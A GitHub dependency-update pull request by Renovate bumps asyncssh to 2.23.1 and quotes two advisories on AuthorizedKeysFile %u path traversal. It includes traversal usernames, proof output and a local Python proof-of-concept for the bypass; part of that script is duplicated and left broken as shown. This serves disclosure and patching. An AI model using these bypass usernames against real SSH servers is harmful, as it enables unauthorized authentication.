Skip to content

Update dependency asyncssh to v2.23.1 [SECURITY] - #117

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-asyncssh-vulnerability
Open

Update dependency asyncssh to v2.23.1 [SECURITY]#117
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-asyncssh-vulnerability

Conversation

@renovate

@renovate renovate Bot commented May 30, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
asyncssh 2.22.02.23.1 age confidence

AsyncSSH AuthorizedKeysFile %u path traversal allows attacker-selected authorized keys to authenticate a traversal username

CVE-2026-45309 / GHSA-g794-3fmp-753h

More information

Details

Summary

AsyncSSH 2.22.0 expands the OpenSSH-compatible AuthorizedKeysFile %u token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as AuthorizedKeysFile authorized_keys/%u can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username.

Affected Product
  • Package: asyncssh
  • Ecosystem: pip
  • Affected versions: confirmed on 2.22.0; exact lower bound not finalized
  • Tested version: 2.22.0
  • Audit commit/tag: tag v2.22.0, commit af5a81e669633d83d535163f93b6bf3f957c9238
  • PyPI sdist SHA256: c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537
Vulnerability Details
  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • Component: AsyncSSH server config reload and public-key authentication (asyncssh/config.py, asyncssh/connection.py, asyncssh/auth_keys.py, asyncssh/misc.py)
  • Root cause: %u in AuthorizedKeysFile is expanded from the remote username without rejecting path separators or .. segments, and the resulting path is opened without constraining it to the intended authorized-keys directory.
  • Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary.
  • Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory.
  • Chain impact, if any: none claimed; direct authentication impact is primary.
Attack Preconditions
  • The AsyncSSH server uses a config or equivalent pattern where AuthorizedKeysFile contains %u, for example AuthorizedKeysFile authorized_keys/%u.
  • Public-key authentication is enabled.
  • The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location.
  • The application does not separately reject usernames containing /, \, or .. before AsyncSSH uses the username for key-file selection.
Reproduction

The run-scoped evidence contains a safe localhost proof:

  1. Start the proof harness saved at
    harness_app.py

  2. Run
    exploit_proof.py
    through
    run_proof.sh

  3. The harness creates sshd_config with AuthorizedKeysFile authorized_keys/%u, writes the attacker's public key to a file outside authorized_keys/, starts a real AsyncSSH server, and attempts two SSH logins.

  4. Expected result: the normal username victim fails, while the traversal username authenticates with the same attacker key.

Observed proof output:

[CONTROL] username=victim success=False
[ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True
[ATTACK] output=AUTH_BYPASS_SUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub
PASS: traversal username authenticated with attacker-controlled authorized_keys file

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


asyncssh has an incomplete fix for CVE-2026-45309 — AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution

CVE-2026-54590 / GHSA-qr67-gv47-xwwh

More information

Details

Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.

Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).

Summary

The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:

  if self._user == '..' or '/' in self._user or '\\' in self._user:
      raise IllegalUserName('Unsafe username substitution')

However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keysread_file
open(Path(filename).expanduser()), auth_keys.py:348
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.

The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.

Primary vector — leading ~

A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root/root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.

Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)

Impact and limitations

  • Demonstrated (verified against source at a60f863): the guard is
    bypassable and the authorized-keys lookup is redirected to an
    attacker-named home tree, pre-auth, with a separator-free username.
  • Impact model = identical to CVE-2026-45309: authenticating as the
    redirected username when a readable authorized-keys file containing
    the attacker's key is reachable at the redirected location. The parent
    CVE accepted this exact precondition and was scored C:N/I:H/A:N;
    this is scored consistently.
  • Not built: a live multi-account SSH auth harness; the PoC verifies
    the path-redirection mechanism in-process, deterministically. No new
    primitive is claimed beyond the parent CVE's accepted model — only
    that the 2.23.0 fix does not close it for ~/${ENV}.
  • Preconditions (captured by AC:H): %u must be the leading path
    component; on Python 3.13, Path('~nonexistentuser').expanduser()
    raises RuntimeError, so only existing accounts are reachable
    (confirmed: asyncssh 2.23.0, Python 3.13.12).

Secondary vector — ${ENV} (defense-in-depth only)

A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.

Reproduction

In-process, deterministic, no network. Against a checkout of asyncssh
2.23.0:

  cd /path/to/asyncssh
  PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py

Output (abridged):

  [1] original CVE '../../../../tmp/evil' blocked: True   (fix present)
      literal-slash user '/etc' blocked:           True
  [A] tilde bypass  user '~root':
      guard blocks it? False        (False == bypass)
      expanded config value : ['~root/.ssh/authorized_keys']
      after expanduser()    : /root/.ssh/authorized_keys   <-- read  as authorized_keys
  VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)

Suggested fix

Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.

Disclosure

Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.

PoC source

(see code block below)

 #!/usr/bin/env python3
  """
  PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
  control). Local-only, in-process, deterministic. No network.

  CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
  SSHServerConfig._set_tokens that rejects a client username containing
  '/', '\\', or equal to '..' before it is substituted for the %u token in
  the server's AuthorizedKeysFile directive.

  This PoC shows the blocklist is bypassable: the %u value is afterwards run
  through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
  re-introduce the path control the guard was meant to remove.

  CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
  a separator-free username (e.g. '~root') escape to another home tree when %u
  is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
  only REFERENCE env vars that already exist on the server and cannot control
  their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
  illustrate the expansion, and does NOT represent attacker capability. Treat (1)
  as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.

  Run from a checkout of asyncssh (cwd on sys.path), e.g.:
      cd /tmp/targets/asyncssh && python3 <thisfile>
  """

  import os
  import sys
  import tempfile
  from pathlib import Path

  import asyncssh
  from asyncssh.config import SSHServerConfig

  try:
      from asyncssh.misc import IllegalUserName
  except Exception:  # pragma: no cover
      IllegalUserName = asyncssh.IllegalUserName

  def expand_authkeys(user, cfg_text):
      """Load a server config exactly as SSHServerConnection does and return the
      expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
      CVE-2026-45309 guard fires."""
      with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
          f.write(cfg_text)
          cfg_path = f.name
      try:
          # mirror connection.py:8897
          #   SSHServerConfig.load(last_config, config, reload, canonical, final,
          #                        accept_addr, accept_port, username,
          #                        client_host, client_addr)
          cfg = SSHServerConfig.load(
              None, cfg_path, True, False, False,
              "127.0.0.1", 22, user, "client.example", "203.0.113.7",
          )
          return cfg.get("AuthorizedKeysFile")
      finally:
          os.unlink(cfg_path)

  def guard_blocks(user, cfg_text):
      """Return True if the CVE-2026-45309 guard rejects this username."""
      try:
          expand_authkeys(user, cfg_text)
          return False
      except IllegalUserName:
          return True

  def main():
      print(f"# asyncssh {asyncssh.__version__}  ({asyncssh.__file__})")
      print(f"# python {sys.version.split()[0]}\n")

      results = []

      # ---- Sanity 0: benign username expands normally -----------------------
      cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
      val = expand_authkeys("alice", cfg)
      print(f"[0] benign user 'alice':            {val}")
      results.append(("benign expands to per-user path",
                      val == ["/etc/ssh/authorized_keys.d/alice"]))

      # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
      blocked = guard_blocks("../../../../tmp/evil", cfg)
      print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
      results.append(("original CVE traversal is blocked (fix present)", blocked))

      # also: a literal slash is blocked (the guard's whole purpose)
      slash_blocked = guard_blocks("/etc", cfg)
      print(f"    literal-slash user '/etc' blocked: {slash_blocked}")
      results.append(("literal-slash username is blocked", slash_blocked))

      print()

      # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
      cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
      blocked_a = guard_blocks("~root", cfg_a)
      val_a = expand_authkeys("~root", cfg_a)
      resolved_a = str(Path(val_a[0]).expanduser())  # what read_file()/open_file() does
      print(f"[A] tilde bypass  user '~root':")
      print(f"    guard blocks it? {blocked_a}   (False == bypass)")
      print(f"    expanded config value : {val_a}")
      print(f"    after expanduser()    : {resolved_a}   <-- read as authorized_keys")
      results.append(("A: ~user NOT blocked by guard", not blocked_a))
      results.append(("A: expanduser() redirects to another home tree",
                      resolved_a.startswith("/root/") or "~" not in resolved_a))

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '$':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b} (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",

      print()

      # ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
      # The username contains no '/','\\' and is not '..', so the guard passes.
      # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
      # server value that DOES contain '/', defeating the separator filter.
      cfg_b = "AuthorizedKeysFile %u"
      os.environ.setdefault("HOME", "/root")
      blocked_b = guard_blocks("${HOME}", cfg_b)
      val_b = expand_authkeys("${HOME}", cfg_b)
      print(f"[B] env bypass    user '$':")
      print(f"    guard blocks it? {blocked_b}   (False == bypass)")
      print(f"    expanded config value : {val_b}   (HOME={os.environ['HOME']})")
      sep_injected = any("/" in p for p in val_b)
      print(f"    contains '/' after guard? {sep_injected}   <-- separator filter bypassed")
      results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
      results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
                      sep_injected))

      # demonstrate arbitrary '/'-containing absolute path via a referenced var
      os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
      val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
      print(f"    via referenced env var: {val_b2}")
      results.append(("B: env value yields absolute '/'-path post-guard",
                      val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))

      # ---- verdict ----------------------------------------------------------
      print("\n==== RESULTS ====")
      ok = True
      for name, passed in results:
          print(f"  [{'PASS' if passed else 'FAIL'}] {name}")
          ok = ok and passed
      print("\nVERDICT:",
            "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
            if ok else "one or more checks did not hold")
      return 0 if ok else 1

  if __name__ == "__main__":
      sys.exit(main())

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

ronf/asyncssh (asyncssh)

v2.23.1

Compare Source

v2.23.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/pypi-asyncssh-vulnerability branch from 303decb to e0ab633 Compare June 12, 2026 13:46
@renovate
renovate Bot force-pushed the renovate/pypi-asyncssh-vulnerability branch 2 times, most recently from 0f46af6 to eda0d27 Compare August 1, 2026 08:05
@renovate
renovate Bot force-pushed the renovate/pypi-asyncssh-vulnerability branch from eda0d27 to 69dd1cf Compare August 29, 2026 12:11
@renovate renovate Bot changed the title Update dependency asyncssh to v2.23.0 [SECURITY] Update dependency asyncssh to v2.23.1 [SECURITY] Aug 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants